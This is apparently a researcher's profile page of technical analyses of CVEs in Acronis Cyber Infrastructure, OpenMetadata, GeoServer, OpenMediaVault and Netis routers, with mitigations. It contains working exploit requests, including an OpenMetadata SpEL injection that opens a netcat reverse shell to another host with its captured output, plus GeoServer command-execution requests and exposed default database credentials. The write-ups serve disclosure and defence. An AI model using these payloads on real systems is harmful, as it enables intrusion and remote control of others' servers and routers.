h00die-gr3y (121)
Last Login: October 15, 2024
h00die-gr3y's Latest (20) Contributions
@ccondon-r7 you are most welcome!!!
Technical Analysis
On 24 July, Acronis published the security advisory SEC-6452: Remote command execution due to use of default passwords where default passwords are exploited to gain admin access to the Acronis Cyber Infrastructure. It was also reported by Acronis that this vulnerability was actively exploited by cyber criminals and patched 9 months ago.
If you search for actual examples of the exploit, no detailed technical publications are available, so I thought let’s give it a go and figure out what this vulnerability is all about.
So I downloaded a Acronis Cyber Infrastructure (ACI) appliance 4.7
from their website and installed it on VirtualBox (see this article).
After completing the installation process, you access the Acronis Web Portal on port 8888 via HTTPS with the admin credentials set during the installation. You can also the access the appliance directly by logging in as root. These credentials are also asked and set during the installation process. This is of course very helpful to analyze the server image because you have full access to appliance and the installed software.
So lets start the search for our default passwords!!!
Let’s check first the user credentials available on the appliance itself by checking the /etc/password
and /etc/shadow
files.
Not much to gain here. The only password hash available in the /etc/shadow
file is for user root
which is set during the initial setup of the ACI appliance.
Next in line is to investigate the user credentials available in the Acronis Web Portal.
If you login as admin, you will find in the settings->user and projects
section, three default users:
- admin
- backup-service-user
- vstorage-service-user
User admin credentials are set during the installation process so that rules out the default password.
Both the backup-service-user and storage-service-user are potential candidates where the storage-service-user is the most promising candidate because this user is default enabled and has the role system-administrator assigned.
The appliance has a PostgreSQL DB that stores all configuration information. The users, passwords and roles are stored in the keystone
database.
You can easily query the database by logging into the appliance as root and switch to the postgres
user and access the database with psql
.
Acronis Cyber Infrastructure release 4.7 ======================================================================== = Warning! Do not enable third-party repositories. Install third-party = = software only from the default repository. Use only commands allowed = = in the product documentation. = ======================================================================== [root@aci-471-53 ~]# su postgres bash-4.2$ psql could not change directory to "/root": Permission denied psql (11.16) Type "help" for help. postgres=# \l List of databases Name | Owner | Encoding | Collate | Ctype | Access privileges ------------+------------+----------+-------------+-------------+----------------------- coredns | coredns | UTF8 | en_US.UTF-8 | en_US.UTF-8 | grafana | grafana | UTF8 | en_US.UTF-8 | en_US.UTF-8 | keystone | vstoradmin | UTF8 | en_US.UTF-8 | en_US.UTF-8 | postgres | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | template0 | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | =c/postgres + | | | | | postgres=CTc/postgres template1 | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | =c/postgres + | | | | | postgres=CTc/postgres vstoradmin | vstoradmin | UTF8 | en_US.UTF-8 | en_US.UTF-8 | (7 rows) postgres=# \c keystone You are now connected to database "keystone" as user "postgres". keystone=# select * from "local_user"; id | user_id | domain_id | name | failed_auth_count | failed_auth_at ----+----------------------------------+-----------+-----------------------+-------------------+---------------- 1 | a56cc7f698fa41d99d1c9dd22aa73580 | default | vstorage-service-user | 0 | 2 | 57bf107a224145c6a1217c71da5f4911 | default | backup-service-user | | 3 | fad1606d29a64ff6b7c45b1128551a97 | default | admin | 0 | (3 rows) keystone=# select * from "password"; id | local_user_id | expires_at | self_service | password_hash | created_at_int | expires_at_int | created_at ----+---------------+----------------------------+--------------+--------------------------------------------------------------+------------------+------------------+---------------------------- 1 | 1 | 2024-08-05 11:31:58.573171 | f | $2b$12$/.ZPGchRUlOGJcNO2S.bOOF3ykww0vShNEr/jwZxvQtksCzGHYcrO | 1653058897767616 | 1722857518573171 | 2022-05-20 15:01:37.767616 2 | 1 | | f | $2b$12$YKyODw1N3mTO9qj7ch1h6O2qZQGjSgW/CIKyQ2Tz7A49sJvHI0r/q | 1722857518573171 | | 2024-08-05 11:31:58.573171 3 | 3 | | f | $2b$12$3PT2/rbf4rkNBPThiZclyeD/FFP5UXLs4bTfg0L27LeSjqyxNQ2xO | 1722857529542615 | | 2024-08-05 11:32:09.542615 (3 rows)
We can query the users and the password hashes, which is promising but “Are these default passwords?”, and if yes, “What is the password?”
To answers these questions, we need to dig a bit deeper within the appliance and figure out what happens during the initial installation and configuration setup of the appliance.
One very interesting directory is /usr/libexec/vstorage-ui-backend/libexec
that holds most of initial configuration shell scripts called during the installation of the appliance.
[root@aci-471-53 libexec]# pwd /usr/libexec/vstorage-ui-backend/libexec [root@aci-471-53 libexec]# ls alua-functions.sh keystone-service-init.sh oneshot-0021-enable-russian-language.sh bouncer-functions.sh logging.sh oneshot-cleanup-wal-archive.sh check-backend.sh oneshot-0008-upgrade-to-roles-sets.sh oneshot-disable-wal-archiving.sh clear-vips.sh oneshot-0009-upgrade-db.sh oneshot-init-keystone.sh db-functions.sh oneshot-0010-disable-pghba-ident-entry.sh oneshot-migrate-roles-to-agent.sh dns-functions.sh oneshot-0011-init-coredns.sh on-master.sh functions.sh oneshot-0012-enable-ha-for-postgresql.sh on-standby.sh gen-certificate.sh oneshot-0013-clean-up-mdses-in-order-to-add-dns-srv-recs.sh pg-convert-layout.sh ha-ovh-setup oneshot-0014-create-self-service-roles-in-keystone.sh pg-scripts.sh ha-ovh-teardown oneshot-0015-clean-up-mdses-in-order-to-activate-vstorage-target-manager.sh pg-switch-to-hot-standby.sh ha-scripts.sh oneshot-0016-update-internal-endpoint-in-keystone.sh pg-switch-to-master.sh init-backend.sh oneshot-0017-create-roles-implication-in-keystone.sh set-vips.sh init-grafana.sh oneshot-0018-create-backup-service-user.sh takeover-management-node.sh init-postinstall.sh oneshot-0019-create-compute-cert.sh utils-functions.sh keystone-functions.sh oneshot-0019-enable-postgres-backup.sh uwsgi-backend-stop.sh keystone-gen-env.sh oneshot-0020-turn-off-aip-early-access.sh [root@aci-471-53 libexec]#
I am not gonna dwell on all scripts, but the oneshot-init-keystone.sh
is an interesting script to explore what is happening during initial installation.
#!/usr/bin/env bash #set -x . ~vstoradmin/libexec/logging.sh LOG_FILE="/var/log/vstorage-ui-backend/init_keystone.log" BACKEND_CONFIG=/usr/libexec/vstorage-ui-backend/etc/backend.cfg log_init "${LOG_FILE}" exec &>>"${LOG_FILE}" . ~vstoradmin/libexec/db-functions.sh . ~vstoradmin/libexec/keystone-functions.sh grep -q -w "KEYSTONE_SERVICE_PASSWORD" ${BACKEND_CONFIG} || init_keystone
It calls two other scripts db-functions.sh
and keystone-functions.sh
which are worthwhile to explore and the last grep
command is very interesting where a KEYSTONE_SERVICE_PASSWORD
is queried from the file /usr/libexec/vstorage-ui-backend/etc/backend.cfg
.
We are getting closer…
If we check the file /usr/libexec/vstorage-ui-backend/etc/backend.cfg
it actually reveals the password of the vstorage-service-user!!!
KEYSTONE_USER_MIGRATION=True KEYSTONE_SERVICE_USER='vstorage-service-user' KEYSTONE_SERVICE_PASSWORD='3bfda47e79d62f7798e38acc7ff6' KEYSTONE_SERVICE_PROJECT='admin' KEYSTONE_ENDPOINT='https://127.0.0.1:5000/v3'
Is this the famous default password? Mmm, this looks too simple…
Let’s check how this password is ending up in this config file.
Let’s explore the other two scripts.
Browsing thru keystone-functions.sh
the first function gen_keystone_passwd()
already shows that the password gets randomly generated with openssl
for the vstorage-service-user
. This looks like a dead-end street.
function gen_keystone_passwd() { sudo -u vstoradmin openssl rand -hex 14 2>/dev/null [ $? -ne 0 ] && error "Unable to generate password for keystone service user" || : }
But…
After exploring the second script db-functions.sh
, interesting new information is revealed because it seems that during the creation and configuration of the database, default passwords are indeed being used.
configure_db() { log_inf "Configure database..." create_user "vstoradmin" "CREATEDB CREATEROLE LOGIN REPLICATION PASSWORD 'vstoradmin'" create_database "vstoradmin" "vstoradmin" log_inf "Database has been configured" }
Database user vstoradmin
seems to have a default password vstoradmin.
That is really interesting, so let’s validate this in the database by querying the passwords for these DB users which are stored in the postgres database table below.
postgres=# select * from "pg_authid"; rolname | rolsuper | rolinherit | rolcreaterole | rolcreatedb | rolcanlogin | rolreplication | rolbypassrls | rolconnlimit | rolpassword | rolvaliduntil ---------------------------+----------+------------+---------------+-------------+-------------+----------------+--------------+--------------+-------------------------------------+--------------- postgres | t | t | t | t | t | t | t | -1 | | pg_monitor | f | t | f | f | f | f | f | -1 | | pg_read_all_settings | f | t | f | f | f | f | f | -1 | | pg_read_all_stats | f | t | f | f | f | f | f | -1 | | pg_stat_scan_tables | f | t | f | f | f | f | f | -1 | | pg_read_server_files | f | t | f | f | f | f | f | -1 | | pg_write_server_files | f | t | f | f | f | f | f | -1 | | pg_execute_server_program | f | t | f | f | f | f | f | -1 | | pg_signal_backend | f | t | f | f | f | f | f | -1 | | vstoradmin | f | t | t | t | t | t | f | -1 | md5dc23b46758bc7e2c4d3d19493c492aae | coredns | f | t | f | f | t | f | f | -1 | md56e2738b0f8848df4ed98977974c83a7e | grafana | f | t | f | f | t | f | f | -1 | | (12 rows)
We can see the md5 hashed passwords in the table for user vstoradmin
and coredns
which are in the typical PostgreSQL format of the string “md5” followed by the md5 hash of a string comprised of the password followed by the postgres username.
Let’s use this logic and check if these accounts are using default passwords with hashcat
.
# cat md5.hash 6e2738b0f8848df4ed98977974c83a7e dc23b46758bc7e2c4d3d19493c492aae # cat password.txt vstoradminvstoradmin corednscoredns # hashcat --show -a 0 -m 0 md5.hash password.txt 6e2738b0f8848df4ed98977974c83a7e:corednscoredns dc23b46758bc7e2c4d3d19493c492aae:vstoradminvstoradmin
Or you can do the other way around .
[root@aci-471-53 libexec]# echo -n "md5"; echo -n "vstoradminvstoradmin" | md5sum | awk '{print $1}' md5dc23b46758bc7e2c4d3d19493c492aae [root@aci-471-53 libexec]# echo -n "md5"; echo -n "corednscoredns" | md5sum | awk '{print $1}' md56e2738b0f8848df4ed98977974c83a7e [root@aci-471-53 libexec]#
And BINGO, the md5 hashed passwords are matching and we have found default passwords!!!!
The final confirmation is to validate a patched version of the Acronis Cyber Infrastructure and check if these flaws have been mitigated.
Checking the db-functions.sh
on a patched ACI 5.0.1-61
appliance, shows that no default password is set in the configure_db()
function.
configure_db() { log_inf "Configure database..." create_user "vstoradmin" "CREATEDB CREATEROLE LOGIN REPLICATION" create_database "vstoradmin" "vstoradmin" log_inf "Database has been configured" }
Also the pg_auth
table in the postgres database does not show any passwords for the vstoradmin
and coredns
database users.
This confirms that the use of default passwords for these accounts have been mitigated.
postgres=# select * from "pg_authid"; rolname | rolsuper | rolinherit | rolcreaterole | rolcreatedb | rolcanlogin | rolreplication | rolbypassrls | rolconnlimit | rolpassword | rolvalidu ntil ---------------------------+----------+------------+---------------+-------------+-------------+----------------+--------------+--------------+-------------+---------- ----- postgres | t | t | t | t | t | t | t | -1 | | pg_monitor | f | t | f | f | f | f | f | -1 | | pg_read_all_settings | f | t | f | f | f | f | f | -1 | | pg_read_all_stats | f | t | f | f | f | f | f | -1 | | pg_stat_scan_tables | f | t | f | f | f | f | f | -1 | | pg_read_server_files | f | t | f | f | f | f | f | -1 | | pg_write_server_files | f | t | f | f | f | f | f | -1 | | pg_execute_server_program | f | t | f | f | f | f | f | -1 | | pg_signal_backend | f | t | f | f | f | f | f | -1 | | vstoradmin | f | t | t | t | t | t | f | -1 | | coredns | f | t | f | f | t | f | f | -1 | | grafana | f | t | f | f | t | f | f | -1 | | (12 rows) postgres=#
The exploit
Now we want to understand how we can exploit this vulnerability.
After digging into the keystone
db with the privileges of the vstoradmin
user, it already shows that we can easily add a new administrative user by editing it directly in the keystone
database. This administrative user allows us to upload ssh-keys via the ACI Web Portal that enables direct root access via SSH to the appliance.
You will need access to Acronis Web Portal, the PostgreSQL database and the SSH service, but if these three services are available and accessible from the outside world, you can easily hack yourself into any non-patched ACI appliance as user root.
I have created an Metasploit module that does all the magic for you.
You can find this module in Metasploit as PR 19463 – Acronis Cyber Infrastructure default password remote code execution.
Mitigation
You should patch your ACI appliance immediately following the Acronis security advisory SEC-6452.
References
CVE-2023-45249
Acronis security advisory SEC-6452
Acronis ACI Downloads
Metasploit PR 19463 – Acronis Cyber Infrastructure default password remote code execution
Technical Analysis
Interesting case that allows for unauthenticated access to JWT token protected API calls in OpenMetada version 1.2.3
and below.
Reading the vulnerability description, it has to do with a incomplete Jwtfilter
that allows to bypass this JWT token authentication.
I have pulled these specific code changes between OpenMetadata version 1.2.3
and 1.2.4
.
It is obvious that implementation of the Jwtfilter
is not strict using uriInfo.getPath().contains(endpoint)
in version 1.2.3
, whilst in version 1.2.4
it has been fixed and restricted using uriInfo.getPath().equalsIgnoreCase(endpoint)
OpenMetadata 1.2.3 excerpt from JwtFilter.java
public static final List<String> EXCLUDED_ENDPOINTS = List.of( "v1/system/config", "v1/users/signup", "v1/system/version", "v1/users/registrationConfirmation", "v1/users/resendRegistrationToken", "v1/users/generatePasswordResetLink", "v1/users/password/reset", "v1/users/checkEmailInUse", "v1/users/login", "v1/users/refresh"); public void filter(ContainerRequestContext requestContext) { UriInfo uriInfo = requestContext.getUriInfo(); if (EXCLUDED_ENDPOINTS.stream().anyMatch(endpoint -> uriInfo.getPath().contains(endpoint))) { return; }
OpenMetadata 1.2.4 excerpt from JwtFilter.java
public static final List<String> EXCLUDED_ENDPOINTS = List.of( "v1/system/config/jwks", "v1/system/config/authorizer", "v1/system/config/customLogoConfiguration", "v1/system/config/auth", "v1/users/signup", "v1/system/version", "v1/users/registrationConfirmation", "v1/users/resendRegistrationToken", "v1/users/generatePasswordResetLink", "v1/users/password/reset", "v1/users/checkEmailInUse", "v1/users/login", "v1/users/refresh"); public void filter(ContainerRequestContext requestContext) { UriInfo uriInfo = requestContext.getUriInfo(); if (EXCLUDED_ENDPOINTS.stream() .anyMatch(endpoint -> uriInfo.getPath().equalsIgnoreCase(endpoint))) { return; }
By adding an URL from the excluded list to a JWT token protected API url, you can potentially bypass the authentication and use the existing sPEL injection vulnerabilities in OpenMetadata version 1.2.3
and below:
CVE-2024-28254 –> GET /api/v1;v1%2fusers%2flogin/events/subscriptions/validation/condition/<expression>
CVE-2024-28848 –> GET /api/v1;v1%2fusers%2flogin/policies/validation/condition/<expression>
Small demonstration
Chaining CVE-2024-28255 and CVE-2024-28254 to get an unauthenticated RCE via sPEL injection
sPEL injection: T(java.lang.Runtime).getRuntime().exec('nc 192.168.201.8 4444 -e /bin/sh')
Listener: nc -lvnp 4444
Also ensure that you URL encode the payload, otherwise your GET request might not deliver the expected response.
# curl 'http://192.168.201.42:8585/api/v1;v1%2fusers%2flogin/events/subscriptions/validation/condition/T%28java.lang.Runtime%29.getRuntime%28%29.exec%28%27nc%20192.168.201.8%204444%20-e%20%2Fbin%2Fsh%27%29' {"code":400,"message":"Failed to evaluate - EL1001E: Type conversion problem, cannot convert from java.lang.ProcessImpl to java.lang.Boolean"}
RCE is succesfull if you receive a “Failed to evaluate – EL1001E” message.
# nc -lvnp 4444 Listening on 0.0.0.0 4444 Connection received on 192.168.201.42 63333 pwd /opt/openmetadata id uid=1000(openmetadata) gid=1000(openmetadata) groups=1000(openmetadata) uname -a Linux aec47ea48dc2 6.6.32-linuxkit #1 SMP PREEMPT_DYNAMIC Thu Jun 13 14:14:43 UTC 2024 x86_64 Linux
You can do the same by chaining CVE-2024-28255 and CVE-2024-28848.
By the way, most of the API enpoints are not susceptible to this bypass because most of these endpoint are using the SecurityContext.getUserPrincipal()
that will return null
using this JWT authentication bypass. You will get an error message as listed below.
OpenMetadata API request to list all databases
GET /api/v1;v1%2fusers%2flogin/databases HTTP/1.1 Host: 192.168.201.42:8585 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36 Accept: */* Connection: keep-alive
Response
HTTP/1.1 401 Unauthorized Date: Wed, 31 Jul 2024 13:02:04 GMT Content-Type: application/json WWW-Authenticate: om-auth Content-Length: 57 { "code":401, "message":"No principal in security context" }
There is Metasploit module available that exploits this vulnerability in combination with the sPEL injection vulnerabilities.
You can find the module here at PR 19347.
Mitigation
Upgrade to the latest release of OpenMetadata or at least upgrade to the patched version 1.2.4
.
References
CVE-2024-28255
CVE-2024-28254
CVE-2024-28848
OpenMetadata Advisory GHSL-2023-235 – GHSL-2023-237
OpenMetadata Quickstart Docker deployment
sPEL injections
HackTricks Expression Language
Metasploit OpenMetadata authentication bypass and SpEL injection exploit chain
Credits
Alvaro Munoz
alias pwntester
(https://github.com/pwntester) – Discovery
Technical Analysis
GeoServer is an open-source software server written in Java that provides the ability to view, edit, and share geospatial data. It is designed to be a flexible, efficient solution for distributing geospatial data from a variety of sources such as Geographic Information System (GIS) databases, web-based data, and personal datasets.
In the GeoServer version prior to 2.25.1
, 2.24.3
and 2.23.5
of GeoServer, multiple OGC request parameters allow Remote Code Execution (RCE) by unauthenticated users through specially crafted input against a default GeoServer installation due to unsafely evaluating property names as XPath
expressions. It is confirmed that is exploitable through WFS GetFeature, WFS GetPropertyValue, WMS GetMap, WMS GetFeatureInfo, WMS GetLegendGraphic and WPS Execute requests.
Examples of an evil XPath
request.
GET method request using the WFS GetPropertyValue
GET /geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),'touch%20/tmp/pawned') HTTP/1.1 Host: your-ip:8080 Accept-Encoding: gzip, deflate, br Accept: */* Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36 Connection: close Cache-Control: max-age=0
POST method request using the WFS GetPropertyValue
POST /geoserver/wfs HTTP/1.1 Host: your-ip:8080 Accept-Encoding: gzip, deflate, br Accept: */* Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36 Connection: close Cache-Control: max-age=0 Content-Type: application/xml Content-Length: 356 <wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.openplans.org/topp' xmlns:fes='http://www.opengis.net/fes/2.0' xmlns:wfs='http://www.opengis.net/wfs/2.0'> <wfs:Query typeNames='sf:archsites'/> <wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'touch /tmp/pawned')</wfs:valueReference> </wfs:GetPropertyValue>
When successful, the response will return a java.lang.ClassCastException
error and file tmp/pawned
will be created.
It is important that the typeNames or feature types like sf:archsites
exists in the GeoServer configuration. Also some typeNames/feature types do not work. You can find a working list of default typeNames / feature types below.
allowed_feature_types = ['sf:archsites', 'sf:bugsites', 'sf:restricted', 'sf:roads', 'sf:streams', 'ne:boundary_lines', 'ne:coastlines', 'ne:countries', 'ne:disputed_areas', 'ne:populated_places']
There are multipe method request using different XPath expressions
. You can find a full set of examples here.
It is Chinese, but Google translate can help you out here ;–)
I have created a Metasploit module that exploits this vulnerability. It works both on Linux and Windows (credits go to jheysel-r7 to make windows work!)
Mitigation
Versions 2.23.6
, 2.24.4
, and 2.25.2
contain a patch for the issue.
References
CVE-2024-36401
Metasploit Module – GeoServer unauthenticated RCE
POC examples in Chinese
GeoServer Advisory: GHSA-6jj6-gm7p-fcvv
Technical Analysis
This is a golden oldie, that never has been fixed. The existing module in Metasploit , exploit/multi/http/openmediavault_cmd_exec
works only on versions in the range 0.4.x
Unfortunately the vulnerability still exists within all OpenMediaVault versions starting from from 0.5
until the recent release 7.4.2-2
and it allows an authenticated user to create and run cron jobs as root on the system.
I have created a new Metasploit module that can handle all targets from versions 0.1
and above. Shodan shows more then 10000 vulnerable instances and hundreds of them still have the default admin:openmediavault
credentials configured which allows an attacker to leverage this exploit.
This module has been successfully tested on:
OpenMediaVault x64 appliances:
- openmediavault_0.2_amd64.iso
- openmediavault_0.2.5_amd64.iso
- openmediavault_0.3_amd64.iso
- openmediavault_0.4_amd64.iso
- openmediavault_0.4.32_amd64.iso
- openmediavault_0.5.0.24_amd64.iso
- openmediavault_0.5.48_amd64.iso
- openmediavault_1.9_amd64.iso
- openmediavault_2.0.13_amd64.iso
- openmediavault_2.1_amd64.iso
- openmediavault_3.0.2-amd64.iso
- openmediavault_3.0.26-amd64.iso
- openmediavault_3.0.74-amd64.iso
- openmediavault_4.0.9-amd64.iso
- openmediavault_4.1.3-amd64.iso
- openmediavault_5.0.5-amd64.iso
- openmediavault_5.5.11-amd64.iso
- openmediavault_5.6.13-amd64.iso
- openmediavault_6.0-16-amd64.iso
- openmediavault_6.0-34-amd64.iso
- openmediavault_6.0-amd64.iso
- openmediavault_6.0.24-amd64.iso
- openmediavault_6.5.0-amd64.iso
- openmediavault_7.0-20-amd64.iso
- openmediavault_7.0-32-amd64.iso
ARM64 on Raspberry PI running Kali Linux 2024-3:
- openmediavault 7.3.0-5
- openmediavault 7.4.2-2
VirtualBox Images (x64):
- openmediavault 0.4.24
- openmediavault 0.5.30
- openmediavault 1.0.21
You can download the iso images from here.
Mitigation
There is no fix available to address this vulnerability. This weakness has been there since 2013 and never fixed. Future releases will probably not fix it. Contacted the lead developer, but did not get any response. The only precaution that you can take is to ensure that you change the default admin credentials. It is not forced, so you need to take the action yourself.
References
CVE-2013-3632
Packetstorm Public Exploit
Metasploit Module – OpenMediaVault authenticated RCE
OpenMediaVault ISO Downloads
Technical Analysis
Netis Systems Co., Ltd is a global leading provider of networking products and solutions in the data communication industry. It has three worldwide independent brands “netis”, “netcore” and “stonet” .Product lines of Netis company includes Wireless routers, Access point wireless adapters, Dump switches, POE switches, Industrial switches, etc.
A critical security vulnerability has been identified in the Netis router MW5360 by security researcher adhikara13
. This vulnerability results in a Blind Command Injection in the “password” parameter, leading to unauthorized access.
Adhikara13
shared details in a POC on Github how to exploit this vulnerability which can be found here.
A more detailed analysis on vulnerability is not available so I did some reverse engineering on the firmware to understand the details of this vulnerability. So I download the latest firmware MW5360-1.0.1.3442
from here which is a very recent release from April 2024 that is still vulnerable :–(.
I emulated the firmware using FirmAE
and used burpsuite
to catch the requests to understand what was going on.
On the initial startup of the router, it will show you a welcome message and a setup screen to configure the router administration password and wifi settings including the wifi password which is the same as the administration password.
Capturing this request with burpsuite
already shows the first design flaw, because this POST request can be executed multiple times without any authentication where the wifi password and administration password can be changed by manipulating the password
and wpaPsk
field.
POST Request
POST /cgi-bin/skk_set.cgi HTTP/1.1 Host: 192.168.1.1 Content-Length: 201 Accept: text/plain, */*; q=0.01 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://192.168.1.1 Referer: http://192.168.1.1/guide/welcome.html Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Connection: close wlanMode=0&wl_idx=0&ssid2g=bmV0aXMtMDAwMDAw&encrypt=4&wpaPsk=SWwwdmVoYWNraW5n&wpaPskType=2&wpaPskFormat=0&password=SWwwdmVoYWNraW5n&autoUpdate=0&firstSetup=1&quick_set=ap&app=wan_set_shortcut&wl_link=0
Successful Response
HTTP/1.1 200 OK Date: Sun, 02 Jun 2024 12:20:24 GMT Server: Boa/0.94.14rc21 Connection: close ["SUCCESS"]
You can even modify the request to only manipulate the router administration password by stripping the wifi parameters from the request.
POST /cgi-bin/skk_set.cgi HTTP/1.1 Host: 192.168.1.1 Content-Length: 59 Accept: text/plain, */*; q=0.01 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://192.168.1.1 Referer: http://192.168.1.1/guide/welcome.html Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Connection: close password=SWwwdmVoYWNraW5n&quick_set=ap&app=wan_set_shortcut
So far, so good, but besides this authentication bypass, there is also a blind command injection vulnerability in the password parameter according to CVE description.
To understand this a bit better, we need to dig into the firmware code.
If you login in into the emulated router software, you will find the main web binary netis.cgi
in /bin
. This is a compiled MIPS ELF binary so we need a tool like ghidra
to decompile and understand the code.
Loading and analyzing netis.cgi
in ghidra
shows that the main program is a wrapper that runs the specific cgi
request calls like our skk_set.cgi
that we can see with burpsuite
when interacting with the Netis web interface.
undefined4 main(undefined4 param_1,char **param_2) { bool bVar1; size_t sVar2; int iVar3; char *pcVar4; char *local_188; int local_184; int local_17c; void *local_160; char acStack_15c [256]; char cStack_5c; char acStack_5b [63]; int local_1c; char *local_18 [4]; local_160 = (void *)0x0; memset(&cStack_5c,0,0x40); local_1c = 0; sVar2 = strlen(*param_2); while (local_1c < (int)sVar2) { memset(&cStack_5c,0,0x40); iVar3 = local_1c; FUN_0040670c((int)*param_2,'/',&local_1c); strncpy(&cStack_5c,*param_2 + iVar3,local_1c - iVar3); do { local_1c = local_1c + 1; } while ((*param_2)[local_1c] == '/'); } local_188 = &cStack_5c; bVar1 = false; local_18[0] = "skk_set.cgi"; local_18[1] = "upload_config.cgi"; local_18[2] = "upload_fw.cgi"; local_18[3] = (char *)0x0; local_17c = 0; do { if (local_18[local_17c] == (char *)0x0) { LAB_00405408: if (bVar1) { iVar3 = open("/tmp/lock_all.lock",0x702,0x1b4); if (iVar3 < 0) { local_184 = FUN_004050fc(); if (local_184 < 0) { local_184 = 0; } FUN_00405060(local_184); if (2 < local_184) { system("rm -rf /tmp/lock_all.lock"); FUN_00405060(0); } printf("[\"LOCK\"]"); return 0; } close(iVar3); } apmib_init(); FUN_00422c38(&local_160,param_2[1]); DAT_00440d40 = FUN_00405190(); if (local_188 == (char *)0x0) { iVar3 = access("/tmp/lock_all.lock",0); if (iVar3 == 0) { system("rm -rf /tmp/lock_all.lock"); } FUN_004214cc(&local_160); printf("[\"%d\"]",999); } else { pcVar4 = strstr(local_188,".cgi"); if (pcVar4 != (char *)0x0) { pcVar4 = strchr(local_188,0x2f); if (pcVar4 != (char *)0x0) { local_188 = acStack_5b; } FUN_00405764(local_188,&local_160,acStack_15c); } fflush(stdout); FUN_004214cc(&local_160); iVar3 = access("/tmp/lock_all.lock",0); if (iVar3 == 0) { system("rm -rf /tmp/lock_all.lock"); } FUN_00405060(0); } return 0; } iVar3 = strcmp(local_188,local_18[local_17c]); if (iVar3 == 0) { bVar1 = true; goto LAB_00405408; } local_17c = local_17c + 1; } while( true ); }
Let’s check the code for the password
string and see where is it used. You can do this by using the search function in ghidra
.
This creates quite some hits, but the most interesting hit is the ex_password
variable which seems to be linked to a script /bin/script/password.sh
ex_password XREF[2]: Entry Point(*), FUN_0041301c:00413180(*) 0043be44 2f 62 69 ds "/bin/script/password.sh" 6e 2f 73 63 72 69
Checking out function FUN_0041301c:00413180(*)
shows ex_password
a.k.a. /bin/script/password,sh
is being called by the function FUN_00402e00("%s > /dev/console",ex_password,pcVar1,param_4);
.
undefined4 FUN_0041301c(undefined4 *param_1,undefined4 param_2,char *param_3,undefined4 param_4) { char *pcVar1; byte *pbVar2; byte abStack_8c [132]; pcVar1 = FUN_00405644(param_1,"usb3gEnabled"); if (pcVar1 != (char *)0x0) { FUN_00405644(param_1,"usb3gPinCode"); param_3 = FUN_00405644(param_1,"usb3gApn"); param_4 = 0; FUN_00412fe4(); FUN_00402e00("%s > /dev/console",ex_usbcontrol,param_3,param_4); } pbVar2 = (byte *)FUN_00405644(param_1,"ssid2g"); if (pbVar2 != (byte *)0x0) { FUN_004030f4(abStack_8c,pbVar2); strcpy((char *)(pMib + 0x42c1),(char *)abStack_8c); } FUN_00402e00("echo 0 > %s","/proc/http_redirect/enable",param_3,param_4); memset(abStack_8c,0,0x80); apmib_get(0x159,abStack_8c); pcVar1 = "/proc/rtl_dnstrap/domain_name"; FUN_00402e00("echo \'%s\' > %s",abStack_8c,"/proc/rtl_dnstrap/domain_name",param_4); FUN_00402e00("%s > /dev/console",ex_password,pcVar1,param_4); FUN_00402e00("%s > /dev/console",param_2,pcVar1,param_4); return 0; }
Interesting, but lets check if this code segment really gets executed if we run the POST request again. A quick trick is to monitor the process list on the router and grep the relevant processes during the execution of the POST request.
# while true; do ps|grep -e password.sh -e rtl -e http_redirect|grep -v grep;done 3518 root 1132 R /bin/sh -c echo 0 > /proc/http_redirect/enable 3520 root 1132 R /bin/sh -c echo 'netis.cc' > /proc/rtl_dnstrap/domain 3531 root 1140 S /bin/sh -c /bin/script/password.sh > /dev/console 3538 root 324 R /bin/script/password.sh 3531 root 1140 S /bin/sh -c /bin/script/password.sh > /dev/console 3538 root 1656 S /bin/script/password.sh
And indeed /bin/script/password.sh
gets executed as well as some other commands listed in the code.
So let’s now focus on the /bin/scripts/password.sh
.
Checking out this shell script, it turns out to be a compiled MIPS ELF binary instead of a text readable unix shell script.
Let’s use ghidra
again to decompile this binary and use the search function to look for the password
string.
Again quite some hits, but then I stumble over a very interesting piece of code.
s_Changed_Username_and_Password_.._0041dc80 XREF[1]: FUN_00409590:0040969c(*) 0041dc80 43 68 61 ds "Changed Username and Password ...........\n" 6e 67 65 64 20 55
This is most likely the code section that sets the router administration password.
Checking out the function FUN_00409590
is revealing two major issues.
void FUN_00409590(void) { undefined auStack_488 [64]; undefined auStack_448 [64]; undefined auStack_408 [1024]; memset(auStack_408,0,0x400); memset(auStack_488,0,0x40); memset(auStack_448,0,0x40); apmib_get(0x15d,auStack_488); apmib_get(0x15e,auStack_448); RunSystemCmd("echo \"root::0:0:root:/:/bin/sh\" > /var/passwd"); RunSystemCmd("echo \"nobody:x:0:0:nobody:/:/dev/null\" >> /var/passwd"); RunSystemCmd("echo root:%s | chpasswd -m",auStack_448); RunSystemCmd("echo \"root:x:0:root\" > /var/group"); RunSystemCmd("echo \"nobody:x:0:nobody\" >> /var/group"); RunSystemCmd("chmod 755 /var/passwd"); RunSystemCmd("chmod 755 /var/group"); fwrite("Changed Username and Password ...........\n",1,0x2a,stderr); return; }
The first issue is that the router administration password is directly linked to the root password of router itself.
Oeps! That is not really best practice and attackers love these things.
